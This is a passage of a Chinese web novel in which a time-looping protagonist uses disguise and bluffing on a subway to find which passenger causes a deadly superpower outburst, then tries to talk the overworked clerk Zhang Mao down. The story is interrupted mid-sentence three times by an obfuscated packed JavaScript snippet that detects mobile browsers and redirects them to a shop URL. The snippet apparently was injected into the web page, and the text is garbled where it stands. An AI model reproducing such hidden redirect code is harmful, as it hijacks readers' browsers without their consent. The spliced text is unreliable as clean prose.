江闻舟不动神色收回目光,落回周建身上。 只见这个看起来像普通大学生的周建,此刻正无意识地吞着唾沫,喃喃自语:“这……这……他也没告诉我遇到这种情况该怎么办啊……” 江闻舟心念一动:等等,这句话的意思是……这些家伙的背后,果然是有人在指使的! 但,目的呢? 江闻舟不给这个年轻人更多思考的时间,再次催促道:“不管怎么样,先送医院吧!既然他……” “不行!不能送医院!!” 像是触发到了某个关键词,周建突然大声打断。 下一秒,当四周所有乘客的目光都惊讶汇聚在他身上后,周建蓦地回神,磕磕巴巴地解释道: “我、我的意思是……那个,没必要送医院吧,万一一会儿人就醒了呢?这岂不是浪费医疗资源?更何况,也不能见着一个肚子大了的男人就说他怀孕了,也有可能就是单纯宿便……不是,主要是——男人怎么会怀孕啊!!” 江闻舟瞥了这小子一眼,没想到他还真的有点机智,说着说着给自己说回过味来了。 但江闻舟何许人也,岂容这小小大学生翻出手心去。 于是,江闻舟长长叹了口气,说:“年轻人,我能够理解你的心情,男人怀孕这件事的确非常不可思议,我当时摸到这个脉象时,也以为自己见鬼了……” 先是肯定对方的想法,给予精神上的支持。 “但是——”江闻舟话锋一转,“这位小兄弟,你有没有注意到最近的新闻?” “什么新闻?” “空间异常波动预警!”江闻舟脸色沉重,“就在前几天,新闻播报,第三轨道附近监测到了微弱的‘虚空回响’,这代表着又有外星人偷偷越过B级屏障,降临地球了…… “否则,大家想一想,守望者组织为什么早不发晚不发、偏偏选在昨天发布了最新版的《社区级外星入侵及衍生灾害应对指南》呢?” 周围竖着耳朵的乘客们暗暗点头,觉得江闻舟的话有几分道理。 一个面容看起来十分憨厚的中年人更是忍不住开口问道:“小兄弟,你现在说这个,是不是你知道些什么?” 江闻舟侧头看了中年男一眼,原本只是随意地一扫,却在看清那个中年人的脸后蓦地一怔:咦?这个人……不就是上周目里跟太阳风借手机的那个吗? 将这个人暗暗记在心里,江闻舟故作沉重道:“我不能说我知道了些什么,但我的确对最近的改变有所预感……大家有没有发现,近来东区的暴力伤人案,已经高到了一个不可思议的程度?” 事实上,江闻舟根本没关心过、也不知道有没有这么回事。 可群众就是如此。 只需先塑造一个不容置疑的权威,再将一个模糊的概念与之捆绑植入,人们便会不自觉地将其等同。 在权威的强大暗示下,他们会主动说服自己接受这一概念,甚至不惜牵强附会地将其无限放大,以寻求与权威的一致性。 那么,被江闻舟扯来当虎旗的这个【权威】是什么呢? 是官方的新闻播报,是守望者组织。 当前社会,官方组织的群星联盟,固然阵容强大,可守望者组织——这个由平民、社区领袖、退伍军人和一些未注册但极具声望的民间超能力者们,自发建立、无偿分享、呼吁人们自助和互助的组织,却更具民心。 因此,江闻舟只是这样一说,大家便纷纷信了。 “这么说来,好像确实是这样啊……” “我邻居家的表舅的儿子,就是这几天跟人大家被抓起来了!” “可别说了,我同事昨天白天还好好的呢,晚上我上司就打电话让我今早来顶他的班,说是卷进什么斗殴事件被送医院了。” “我女儿在学校里也有同学出事了……” “我前两天吃饭的那个小饭馆……” 见到这么多人主动跳出来为江闻舟“作证”,周建鼻翼上不知为何,开始疯狂冒汗,眼珠左右乱转,不知道是在想着什么。 那个面色憨厚的中年男更是紧张道:“小兄弟,你的意思是……最近的乱象,难道都是外星人的阴谋?!难道是外星人又向地球投放了什么扭曲的规则?!” 投放规则。 这是《异我之名》的又一个设定,也是这本漫画里入侵的外星人特别难以驱逐的原因之一。 因为在这本漫画中,【异能力】再不是属于地球英雄的专属能力,反而是由外星人带来的。 ——只这一个细节,就足以证明这本漫画的可怕与坑爹。 但,这些复杂的东西,在目前的这辆地铁上都不重要。 因为接下来的一切,全都是江闻舟胡诌的! 江闻舟面上沉重点头,顺着中年男的话说了下去:“没错,我怀疑这一切都是外星人的阴谋,并且我已经有了确凿的证据!” 不等中年男人追问更多,江闻舟高声道: “是的,我已经明白了所有的一切!我终于明白了前两天那个潜入地球的外星人的真正诡计——为了瓦解我们千百年来的社会秩序,为了破坏我们人类社会好不容易恢复的稳定,它们不惜代价地把我们人类分化成了六个性别!Alpha、Beta和Omega! “大家难道没有怀疑最近的人们为什么暴躁的越发暴躁,低沉的越发低沉吗?那是因为他们分别分化成了Alpha和Beta! “如果大家不相信的话,可以看这位躺在我们面前的柔弱孕夫。他,就是我们人类文明史上,有史以来的第一位omega!怀孕的、男性、omega!” 江闻舟的这一声宣告,宛如石破天惊! 所有地乘客此刻都目瞪口呆,僵立原地,宛如石像。 而周建更是脚下一软,全靠江闻舟及时扶住,才勉强站稳。 “也、也没人告诉我……出来赚点外快就会变成omega啊!我不想怀孕、不,我不想被男人上!我真的是直男啊!!” 周建哭丧着脸,小声喃喃着,鼻翼上的汗冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600302|187517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得更快了。 江闻舟用看似亲切实则魔鬼的低语说道:“其实也有女性Alpha……” 周建:“我就不能不被人上吗……等等!” 崩溃中,周建像是想到了什么,越过人群,冲向了01号车厢的方向。 “我要走、我一定要马上离开这里……我下一站就下车,我不要这个外快了!” 一边走,他还一边手慢脚乱地从怀里摸出了什么,乘乱丢在地上,像是甩掉瘟神一样地跑掉了。 江闻舟也不去追,只迅速弯腰一抄,将周建甩掉的两样东西全部拿在手里,而后定睛一瞧。 江闻舟:“……” 不儿,怎么是这么个玩意儿? 坏了,他也想甩掉了。 只见此刻,被江闻舟抄在手上的两样东西,一个是滴血的骷髅天平徽章,一个是平平无奇、看不出来头的通讯器。 那通讯器暂且不提,可这枚滴血的骷髅天平徽章,江闻舟却是印象深刻。 因为作为“穿书者”的江闻舟一眼就认出来了,这正是【深红商贩】——一个以享受混乱、追求刺激为核心追求的疯狗组织。 虽然在这会儿,这只疯狗暂时还没有暴露自己的疯狂本性,而是将自己包装成了一个雇佣兵组织,专门为其它大小组织干一些见不得人的脏活,并且运营着一个相当出名的地下黑市。 可不管它包装得再怎么人模狗样,疯狗组织就是疯狗组织。 地铁这件事,怎么会跟他们扯上关系?! 江闻舟心中先是一沉,可当他转念一想,想到王天那如同街头小混混一样的素质,以及周建随手丢弃徽章的举动,江闻舟又放下心来。 从周建的举动和话语中可分析出来,他与王天两人,很可能是临时搭挡,是来“赚外快”的。 这就代表着两人是深红商贩非常外围的成员,而他们到来地铁上执行的,也是非常低级的任务……或者说,是“本该”非常低级的任务。 脑中迅速思考着,江闻舟将这两样东西揣进怀里。 接着,他将地上王天的背心拉下,卫衣拉链拉上,悄无声息地收回【虚影】后,又装模做样地嘱咐周围乘客让孕夫保持平躺,接着便找了个借口来到04号车厢。 江闻舟在来到04号车厢的路上脱下西装外套,又把衬衣最上头的几粒扣子解开,伸手将原本梳得一丝不苟的发型揉乱,又在低头的时候将虚影扣在脸上。 最后,当江闻舟再抬起头来时,他的面容瞬间年轻了五岁不止。 再配合着他搭在臂弯上的西装外套,不做打理的发型,穿得乱糟糟的衬衣……无论是谁见了,都会以为江闻舟是个初入职场的大学生。 因此,当江闻舟“手忙脚乱”地从西装外套里拿出通讯器,又“不小心”露出口袋里那枚骷髅天平徽章的一角时,不必江闻舟去想什么办法,那原本站在05号车厢里的关前,就主动靠了过来。 余光中,江闻舟看到,05号车厢连接处,那个背着网球包的身影明显顿住了。 他先是抬头,警惕地左右看了看,随即目光在江闻舟脸上和徽章上来回扫视几眼,最后像是确认了什么,低着头,状若无事地来到了江闻舟附近。 “你怎么才来?”关前站在了江闻舟的身后,声音低低的,“我都找你们半天了——你搭档呢?难道只有你一个人来了?” 江闻舟眼底精光闪过:鱼儿,上钩了! 9.第9章 局势 江闻舟像是被吓了一跳般,脸上浮出惊慌,蓦地转身,动作大得让他身后的关前也是吓了一跳。 “嘘!你冷静点!!” 04号车厢并没有太多乘客,毕竟03号车厢的乐子还没看完呢。 因此,江闻舟的这番大动作并没有引来什么人的瞩目,也令关前的抱怨并不十分认真。 “你们深红商贩说好的拿钱办事,但你们办的事也太烂了吧?我可是雇主欸,你们竟然让我一个人在这里等了半个多小时?有没有搞错!” 江闻舟心念一动:原来王天周建两人,是被这个中学生雇佣的? ……也对,中学生的零花钱,就只够发布最低级的任务,只能雇一个找乐子的大学生和一个啥事儿都干的无业游民,来陪他玩过家家。 这很合理。 江闻舟按捺住叹气的冲动:看来,这三个家伙真的是那种“与异能事件没有太深关系,但多少有点不怀好意”的小喽啰。 天道针对他们,大概也是看在深红商贩的“面子”上吧。 但,为了保险起见,江闻舟还是准备再试探两句。 “不好意思不好意思……”江闻舟装作紧张的样子,“我的搭档他出了点事,所以只有我一个人来了……不过,你的任务……一个人做两个人做,应该也没有什么区别吧?” 关前一听,当即生气了,婴儿肥未褪的脸蛋气得圆鼓鼓的:“什么没区别?怎么会没有区别?你见过哪个老大只带一个小弟出门的? “你搞搞清楚,是我出钱雇你们来当小弟的,你们该去哪儿该做什么,当然是我说了算!你们这么自作主张,不来都不跟我汇报一下,还当不当我是老大啦?!” 江闻舟愕然,又是无语,又是好笑: 这小子,真的是中学生吗?怎么像个小学生,不,不是小学生,最多五岁,学前班小鬼。 就这还学人混黑|道招小弟? 你连撑场面的小弟都需要掏存钱罐去雇佣,你还玩什么黑|帮游戏?好好读书不行吗? 再不济,你去打网球啊,去成为新一代的网球王子,用你迈向破灭的圆舞曲打出一个绝对零度的世界,从夺取敌人的第六感到夺取敌人的未来啊! 可别小瞧了打网球的人,他们攻击力还真不比混黑|道的低……想远了。 江闻舟拉回思绪,像是不好意思一样垂着头,唯唯诺诺敷衍了两句,接着,他试探问道:“可那个人的确不会再来了,所以接下来的任务——?” 关前不高兴地挥挥手,指向隔壁05号车厢的尾部、靠近06号车厢的地方。 “你去那边监视,我要去03号车厢看看——从刚刚起,那边就乱糟糟的,我需要去了解真相。毕竟,我,关前,作为监管人间的重要执行者、指引人类进步的伟人,我有必要把人间的所有的不稳定因素都掌控在手里!这是接管文明的必要流程!” 江闻舟:“……” 江闻舟发誓,哪怕是在他最中二的年纪,他也绝对没有认为自己是“监管人间的重要执行者、指引人类进步的伟人”,更没有想过什么“接管文明”的事。 就是说——一个人,一个有着正常认识和脸皮的人,是怎么能够若无其事地说出这样的话的? 当关前昂首挺胸,就要去03号车厢行使他伟人的权力时,江闻舟弱弱说道:“但是,关……老大,你还没告诉我要监视谁呢!” 关前不耐烦摆手:“都说了,监视人间,监视一切!” 江闻舟:“……” 现在的小孩子还是作业太少了。 不过,这也给了他单独行动的空间。 江闻舟用低头装作揉脸的动作,再次变幻了【虚影】在脸上的细节。 接着,当江闻舟将西装外套重新穿在身上时,他又成了另一个人。 江闻舟穿过05号车厢,装作不经意地找了一下太阳风的位置。 就和前几个周目一样,此刻的太阳风,正独自站在05号车厢的角落,安安静静地看书。 太阳风其实是个非常俊俏的年轻人。 他穿着时髦,高级墨镜挂在鼻梁上,却挡不住他过分优秀的面部线条;他的头发虽然是纯黑色的,但那造型却在每一根发丝的细节里都透露着昂贵,怎么看都不像是会在早上六点坐地铁的人。 然而,这样的太阳风就是站在了这里,没有去占据本就不多的座位,而是一个人低调地依靠在角落,眉眼有些疲惫,神态却意外放松。 他一手插兜,一手捧着书,书名是《仿生人与赛博格》——一本并不常见,让路人看到会认为这个年轻人有点太装了的小众书籍。 但是,太阳风就是这样理所当然地站在了这节与他格格不入的地铁里,翻看着一本与他时髦外表格格不入的小众书籍。 神态坦然极了。 说实话,江闻舟其实是有些羡慕太阳风的。 羡慕他十八岁出道,一出道就是A级英雄,并且好像随时都能晋升S级,成为全球最顶尖的那小部分人; 也羡慕他的自信由内而外,自由自在不受任何人目光的干扰和影响。 如果不是突然得到了这个英雄模拟器,他江闻舟与太阳风,应该是两个永远不可能会有交集的人吧? ……虽然现在似乎也是如此。 江闻舟不动神色收回目光,与太阳风擦身而过,来到了06号车厢,在角落里坐下,迅速锁定了张茂和那名红发非主流。 那个红发非主流和张茂靠得很近,是在同一截座位的两端。 前者没什么好说的,无非是双手插兜,天下我有。 而张茂——这个苦逼的上班族,此刻则正对着笔记本电脑屏幕,十指如飞地敲击着键盘,眉头紧锁,时不时还打开手机看一眼,浑身上下都散发着一种江闻舟熟悉的气息。 对,就是社畜的气息! 江闻舟心中暗暗思考了一下,很快也拿出自己的手机,点开文档,并在等待文档打开的间隙里低低骂了一句:“这破系统又卡了,到底是谁会在半夜两点上传文档还留言说早上八点就要交啊,这是人能干出来的事?!” 江闻舟发誓,此刻他的怨念绝对没有半点表演成分! 并且他也相信,只要张茂这会儿抬头向他看来一眼——哪怕只是一眼,他也有办法跟张茂搭上话! 但没有。 那……那位非主流小哥呢? 很好,也没有。 江闻舟一计不成,再生一计。 他收起手机,换了个座位,在张茂的对面坐下,心中酝酿了一下,刚想开始他的表演—— 嘀嘀嘀、嘀嘀嘀! 张茂放在电脑旁的手机响了。 突如其来的刺耳声音让张茂有瞬间的手慢脚乱,笔记本电脑也从腿上滑落。 但好在,社畜的自我修养让他迅速按下ctrl+s,及时保存了自己的劳动成果,而在这之后,他才有心力一边收拾电脑,一边接起电话。 “喂……妈……” 江闻舟心中一动,侧耳细听。 此刻,车厢内并不嘈杂,当排除了那细细的杂音后,张茂与电话那头人的对话精准地传到了江闻舟耳中。 “哎,茂啊,六点半了,你起了没?吃饭了没?听别人说,你那工作很忙,可千万别累着自己……” “吃了吃了,妈你别操心,我工作……还行,不忙。” “真的?” “真的!” “但我咋听你声音不对哩?是不是……是不是给家里的钱打多了?唉,茂啊,我早就跟你说了,你一个人在外头打拼不容易,不要太惦念着家里,你顾好你自己就行了,你自己能在外头吃饱穿暖,让妈放心,这就好了,你干吗每次都打这么多钱回家……” “妈,我都说了,你别管。我这边公司包三餐的,花不了多少钱。” “那你一个大小伙子还要买衣服不要?平日里是不是还要跟同事出门玩啊聚餐啊什么的,还有……” “我都说了妈你别管了!” “……” 这一瞬间,不仅电话那头的人沉默了下去,就连车厢的人都向张茂投去诧异视线。 张茂的表情又是尴尬又是紧张,局促地收起笔记本,提着包去到了角落。 随后,声音继续响起。 “……妈,我说了,我这边没事的,你不用担心……我知道你挂念我,可是爸的病也不能拖对不对?你跟爸那点退休工资,能交几个月药钱?还不是要靠我!” “是,是,都是因为你爸的病……妈知道你心里有怨气……” “我没怨气!” “妈也知道你过得不好……” “我没过得不好!” “但妈是真心的,你爸他不一定非要吃那么贵的药,医生说了,可以保守治疗走医保……” “保守治疗跟等死有什么区别?” “可是医生说……” “妈你别管了,我有办法,我真的有办法!我马上升职了,只要我升职了,就不会那么辛苦了……总之这事妈你别管了,你听我的……” 江闻舟微微向后,靠在地铁的座椅上,沉默听着那些从张茂口中絮絮说出的话音。 那都是再寻常不过的人间事。 但就是这样寻常的人间事,却也是他许久都不曾听到过的声音了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609157|187517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 想到自己这一世过分复杂的家庭背景,江闻舟苦笑了一下,感到地铁上这原本还算舒适的座椅,突然就有些让人坐不住了。 于是江闻舟干脆起身,到05号车厢转了一圈,随意走了走。 不为了什么,只是单纯不想在这样的时刻坐在那一个地方而已。 而当江闻舟整理好心情,准备重回06号车厢,试探最后一位嫌疑人时,他一个错眼,突然发现太阳风和关前不知道什么时候搭上话了。 江闻舟:“……” 不是?你们在干嘛呢?! 这一瞬间,江闻舟冒出的心虚感,就像是因忘了带钥匙而用铁丝撬自己家的门,但却正好被一位帽子叔叔撞见了。 明明从哪个角度来说他都不犯法,但那种心虚感就是忍不住蹭蹭往上窜。 ——你们在说什么呢? 江闻舟状若无意地靠近他们,耳朵动了动,发现这一大一小两个年轻人正兴高采烈地说着“仿生人”、“赛博格”、“小王子”、“哈姆雷特”之类,其中还包括了些许人类简史的内容,如“农业革命是人类史上最大的骗局”,之类。 于是江闻舟的脚下一个拐弯,十分丝滑地溜走了。 原来是中二少年和文艺青年的文学交流啊。 那没事了。 重新回到06号车厢。 这时的张茂已经结束了通话,坐回原来的地方,继续敲起了电脑,而红发非主流依然坐在长椅的另一端,一副天老二他老大的样子。 ……这样的人,该怎么接近呢? 江闻舟安静思考着接近红发非主流的办法,不知不觉就多看了他好几眼。 红色的头发,红色的衣服,甚至连瞳孔都是红色的,也不知道戴的什么牌子的美瞳。 但,让江闻舟有点奇怪的是,明明是这么张扬惹眼的人,可他仔细回想时竟然……想不起这人的样貌? 江闻舟觉得,可能是因为这位非主流的兜帽拉太低了吧。 毕竟,当人整张连都笼罩在阴影里时,怎么会有人记得……不! 不对,不对。 完全不对! 他明明都看到了他的眼睛,他甚至清楚地知道这个家伙的瞳孔是红色的。 既然连眼睛都看得这么清楚了,又怎么可能会不知道这个人究竟长什么模样? 所以…… 是异能力的作用。 所以,这家伙,竟然真的是异能力者! 这一瞬间,江闻舟心跳骤停,瞳孔紧缩,连呼吸都仿佛在这一刻凝固了。 而也正是在这样的一个瞬间,那双像血一样艳红的眼睛抬起,瞬间锁定了江闻舟。 “糟了!” 江闻舟心中骇然,脑中警铃狂响。 “他发现我了。” “他——看到我了!” 江闻舟竭力驱使着自己的身体行动起来。 或是逃跑,或是躲避,什么都好! 可偏偏他的身体如此迟钝,竟无法做出任何反应。 于是—— 轰! 一股灼热到极致的气浪,如同无形的炮弹,毫无征兆地在06号车厢炸开! 但只是一瞬间,这股灼热气浪就被狂风取代! 江闻舟甚至没来得及反应,就感到眼前一黑,一股无法形容的剧痛吞噬了他的意识。 “住手!” 是有什么人在惊叫吗? “不要死,不要死……怎么会这样……我明明就在这里……” “为什么我还是什么都做不到……” 是有什么人在哭泣吗? 不知道……江闻舟已经什么都听不到了。 而在江闻舟化作飞灰、思维也彻底湮灭的前一秒,他用尽最后力气看向气浪袭来的方向—— 那个在失控的青色风暴中嘶吼着的、身体扭曲膨胀的可怖身影。 竟然不是那个穿红衣服的异能力者,而是……张茂?! “竟然……真的是他……” 怎么会是他? 为什么会是他? 这便是江闻舟意识消散前的最后一个念头。 随后,熟悉的文字淡淡浮出: 【在拯救他人的伟业上,你并未有任何建树,但你追根究底的精神,却值得称赞。】 【恭喜你,新生的英雄,你正在接近真相,如同一位侦探!但要小心,真正的真相,往往会以错误选项的方式出现。】 【而接下来,便是你的决意了。】 【本次英雄模拟评级:E】 【请选择——】 【回到现实/重新开始模拟】 10.第10章 话疗 再次回到系统初始空间。 江闻舟没有立即行动,只是久久站在原地,脑中仍盘旋着上周目死前留下的疑问: 怎么会是张茂? 为什么偏偏是张茂?! 无论怎么看,这件事真正的幕后黑手,都应该是那个红发非主流异能力者才对。 他傲慢、张扬,攻击性强,甚至一定程度上极度漠视他人,并且,他也的确是一位异能力者。把这样的人和张茂放一起,任谁都会认定他才是制造地铁大屠杀的真凶! 可真相偏偏是张茂。 这根本就不合逻辑! 它甚至不符合直觉! “……冷静点,冷静点。” 江闻舟深吸一口气,决定从头梳理整件事。 首先,根据前几周目的情报,这次地铁事件中一共出现了三名元素系的异能力者:两名火系,一名风系。 他们的身份如今已基本明确: 太阳风,火系,来自群星联盟的注册英雄。在风系异能力者暴走时,他是第一时间出来阻止的人; 张茂,风系,一位隐于民间的非注册异能力者,因某个未知原因在T-06地铁线上暴走,酿成重大伤亡,也是将江闻舟困在这场灾难循环中的真凶; 红发非主流,身份不明,动机不明,但显然十分危险。 接下来,问题进入下一阶段:张茂为什么会暴走? 江闻舟依稀记得,在第十二周目时,他曾听到风暴中有这样发狂崩溃的声音响起: 【如果世界就是容不下我,如果整个世界都要逼着我去死……】 【那你们就跟我一块下地狱吧!】 如果这个声音的确属于张茂,那么,是什么事让他在短短几秒内情绪崩溃? 明明就在张茂暴走的数秒前,他还像个普通社畜一样,苦逼地在赶工作,为了升职加薪日夜苦熬。 这样一个背负着沉重家庭责任、连辞职都不敢的社畜,为什么会在短短数秒就情绪爆炸,甚至不惜开启报复社会的屠杀模式? 那一刻,到底发生了什么? 最后,是那个行踪诡异的红发非主流。 江闻舟注意到,在张茂暴走的前一秒,率先在06号车厢内炸开的,并不是风暴,而是一股灼热到极致的气浪。 这感觉与江闻舟前十几周目的体验高度相似:先是非常灼热的气浪贯通前后车厢,金属扶手在这一瞬间变得滚烫,随后,才是风暴出现,破坏了地铁列车的核心结构,令整条列车开始失控。 群星联盟的调查也证实了这一点:除了太阳风与张茂之外,列车上确实存在第二位火系异能者的能量残留。尽管痕迹微弱,几乎被忽略,但它确实存在。 ——瞧,线索就此闭合。 由此推断,前十几周目中,三名异能者的行动轨迹可能是这样的: 因不知名原因,未注册异能力者张茂,突然在06号车厢暴走。 几乎同时,同在06号车厢的不知名火系异能力者,察觉到了不对,身上气浪狂涌,本能地使用了异能力进行自保。 可一秒后,05号车厢的太阳风就冲了过来,试图阻止张茂。 于是,当两位异能力者在地铁大打出手时,红发非主流便悄然收起了自己的异能,在混乱中低调离开。 这也解释了为何联盟只侦测到第三人的痕迹,却始终找不到其本人。 至此,这场灾难的轮廓似乎已经清晰。 但江闻舟仍有一件事非常在意:为什么在一条列车上,竟会同时聚集三名异能力者,并且位置还那样靠近? 如果说世上就是有这样的巧合,如果说世事的发展就是比戏剧更不讲道理,一切真的只是机缘巧合……可那个红发非主流,又会是什么人? 他的能力,分明属于元素系中的火系异能,但他身上却还笼罩着一层“认知障”。而认知障这种东西,如果江闻舟没记错,它应该属于规则系。 一个人,能同时拥有两种系别的能力吗? 还是说,这个红发非主流,其实还有一位隐藏的队友? 如果真是这样,这个两个危险的异能力者出现在地铁上,是想要对地铁做什么吗? 还是说,这辆地铁只是他们前往某个地方、执行某个不可告人的计划的中转站? 江闻舟思考了一会儿,突然一个激灵,心中生出了莫名的既视感。 不对—— 两个不知来历的危险家伙,再加上一个不知死活的“侦探”……这配置怎么有点眼熟? 难道说他江闻舟也会跟某个倒霉鬼一样,在追根问底的路上挨一记闷棍后,还会在后续二十多年的剧场版里,每年挨一闷棍? 那很坏了。 “……算了,莫管闲事,搞定张茂就行。” 江闻舟打了个寒颤,赶紧拉回思绪。 事实上,当真相探究到这一步时,江闻舟对于如何制止这场灾难的思路,已经相当清晰了。 那就是精准举报! 既然已经锁定了张茂,又有太阳风在场,江闻舟有十足把握在张茂暴走前,将其控制,送进监狱。 甚至连举报的理由他都想好了: “我发现一名未注册的高危异能者出现在拥挤的地铁上,的状态极不稳定,疑似濒临暴走。于是,我,一位柔弱且无辜的普通市民,拿起了举报的武器,强烈建议群星联盟将这家伙带回监管所,进行严格的观察和控制,不要将这种不定时炸|弹随意放出来!” 瞧,多完美的理由。 可是…… 他真的要这样做吗? 想到张茂的那通电话,那个在早上六点的地铁上就打开了的笔记本,以及摔倒时都不忘ctrl+s的动作,江闻舟犹豫了。 “我……真的要这么做吗?” 江闻舟这样问着自己。 如同上周目结束时,模拟器这样拷问着他的内心: 【而接下来,便是你的决意了。】 · 江闻舟想,这世上,是有两全其美的办法的吧? 至少,他认为应该有。 · 第十九次模拟,开始。 · 当江闻舟再次挤到06号车厢时,他已经彻底换了一个模样: 身上披着的,是从路人身上买来的一件长风衣外套,脏兮兮的,还带着异味;而风衣里头,则是刻意揉得如咸菜干的衬衫。 在他的指间,明晃晃夹着快要燃尽的烟,脸上则是用虚影伪装出的唏嘘胡茬。 此时此刻,任谁见了江闻舟,都会立即在脑中冒出三个字——流浪汉。 而且还是一个四五十岁的老流浪汉! 江闻舟大摇大摆地来到06号车厢,大摇大摆地往座位上一坐。 随着他的这一坐,周遭乘客面色微妙。 因为这一刻,他们都嗅到了空气中隐约飘荡的酸臭味:可能是发酵的汗味,也可能是酸臭味,甚至可能是刚翻完垃圾后的味道。 那些不讲究的乘客,可能只是默默挪挪屁股,远离了江闻舟就算完。 但那些讲究一些的乘客,却是直接起身,径直离开了06号车厢。 一个,两个……八个,十三个。 短短不到三分钟,06号车厢的人数锐减! 可江闻舟却像是察觉不到似的,翘着二郎腿,学着王天的做派,大摇大摆地霸占了整条座椅,甚至嘴里还哼起了歌: “……出发啦不要问那路在哪儿,迎风向前,是唯一的办法……” “……出发啦不想问那路在哪儿,命运哎呀,什么关卡……” 这荒腔走板的声音,对人类的审美而言绝对是一大酷刑。 于是,在气味和听觉的双重攻击下,06号车厢里剩下的人,也迅速撤离战场。 但,偏偏那个江闻舟最想要赶走的人——红发的异能者,却稳坐如钟,肩不晃身不动,连眼皮都没有抬起来向江闻舟夹一眼。 这家伙到底在这儿干嘛的? 不由自主的,江闻舟又一次升起了这个疑问。 难道这家伙其实嗅觉失灵、听力故障? 江闻舟没有来得及细想,因为那个关键的时间点来了—— 嘀嘀嘀、嘀嘀嘀! 急促的手机铃声响起。 张茂手慢脚乱地保存文档,手慢脚乱地接起电话。 “喂,妈……” 江闻舟的心跳以一种轻缓的速度,一点一点加快。 他垂着眼,静静听着。 “……吃了吃了,妈你别操心……我都说了妈你别管了!” 也许是因为这一回车厢的人少,张茂声音拔高后,只随便扫了四周一眼,就继续说了下去,并不像上周目那样尴尬。 是正常变量。江闻舟心想。 “妈你别管了……我认真的……我马上就升职了,只要做完这个订单……总之妈你听我的!” 张茂这周目的通话内容,与上周目大差不差。 可当电话挂断,张茂重新打开笔记本电脑时,江闻舟却径直起身,直接坐到了张茂身旁的空位上。 这个举动让张茂动作一僵,表情也变得警惕了起来。 这其实很好理解。 空荡荡的车厢里只有三个人,而江闻舟这个一身酸臭的“流浪汉”哪儿都不去,偏偏挨着他坐。 这事儿搁谁身上都得发慌。 张茂偷偷看了江闻舟一眼,偷偷挪了挪屁股,想要拉开距离。 但他挪一点,江闻舟也挪一点。 他再挪,江闻舟再跟。 终于,张茂有些压不住火了,说道:“这位先生,你到底想干什么?!” 江闻舟说:“不想干什么。” 张茂:“……” 张茂深吸、不,张茂屏住呼吸,瓮声瓮气道:“那你就坐这儿吧!” 说完,张茂收起笔记本电脑,就要离开。 江闻舟心中暗奇:怪了,这家伙脾气不是还挺好的吗? 或者说,大部分社畜都是这样,多一事不如少一事,你把他惹毛了,他就毛茸茸地滚开。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622496|187517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这样的人,如果不是上周目亲眼所见,江闻舟真是打死也想不到会他是个强大的风系异能力者。 江闻舟心中思绪电转,嘴上却不停,唏嘘道: “家里老人身体不好,是吧?唉,人最难的就是这个,说不管吧,不行,过不了自己这一关;可管了吧,自己的日子又是一地鸡毛。年轻人,我听到你打电话了——你其实很累了吧? “在电话里装出一副‘我很好’、‘我搞得定’的样子,但事实上已经快把自己榨干了。白天上班,听上司把自己教训得狗血淋头,晚上十一二点终于回到租房,给自己泡了一包面,加了跟肠,却吃着吃着突然就哭了出来……是不是啊?” 张茂蓦地转身,眼睛死死瞪着江闻舟,嘴唇嗫嚅了两下,虽然没有肯定,但却也没有生硬地说“不关你事”之类的话。 江闻舟心中顿时有数:张茂的心理防线并不高。 或者说,当看到江闻舟此刻的模样时,张茂其实已经“预感”到了某些事。 而江闻舟要做的,就是肯定这样的“预感”。 江闻舟随手将指间的烟头丢在地上踩灭,声音平淡:“年轻人,其实我不是一个多管闲事的人,我也不是在跟你套近乎。我只是闻出来了——你身上那股味儿,跟我当年站在楼顶天台上的时候,一模一样。 “那是穷的味道,是累的味道,是‘只要再往前一步就能解脱’的味道。 “当年,我也跟你一样,觉得只要拿下那个项目,升了职,一切都会好起来。” 江闻舟顿了顿,发出一声意味不明的嗤笑。 “他们都是这么骗我的。” 张茂瞳孔紧缩,下意识反驳道:“你胡说些什么?!” 江闻舟没有理会,语气淡淡地继续说了下去:“觉得我在胡说?那行,你摸摸你自己的胸口,你问问它,是不是经常突然跳得厉害,好像要炸开? “你再看看你的手,是不是有时候会控制不住地发抖,好像它突然就不是自己的了?小子,这是你的身体在报警,它想要告诉你,这条路是死路,走不通的! “你以为拼命就能换来升职?我告诉你,每个当上司的,他们职业生涯里要学会的第一件事就是画饼。他们画的饼,比你我这辈子见过的饼都要大,大得噎死一个人、噎死无数个人,都不在话下!” 张茂的手在颤抖,就连肩膀也在颤抖。 但他不愿相信,甚至几乎要忍不住憎恨起了江闻舟。 因为人总会憎恨那些点破他们美梦的人。 “你懂什么?!”张茂的声音再次激烈起来,“你在这里高高在上地对我说这些,是因为你已经跌到谷底了,是因为你的肩上什么都没有!可我不能退!你明不明白?我不能退!” 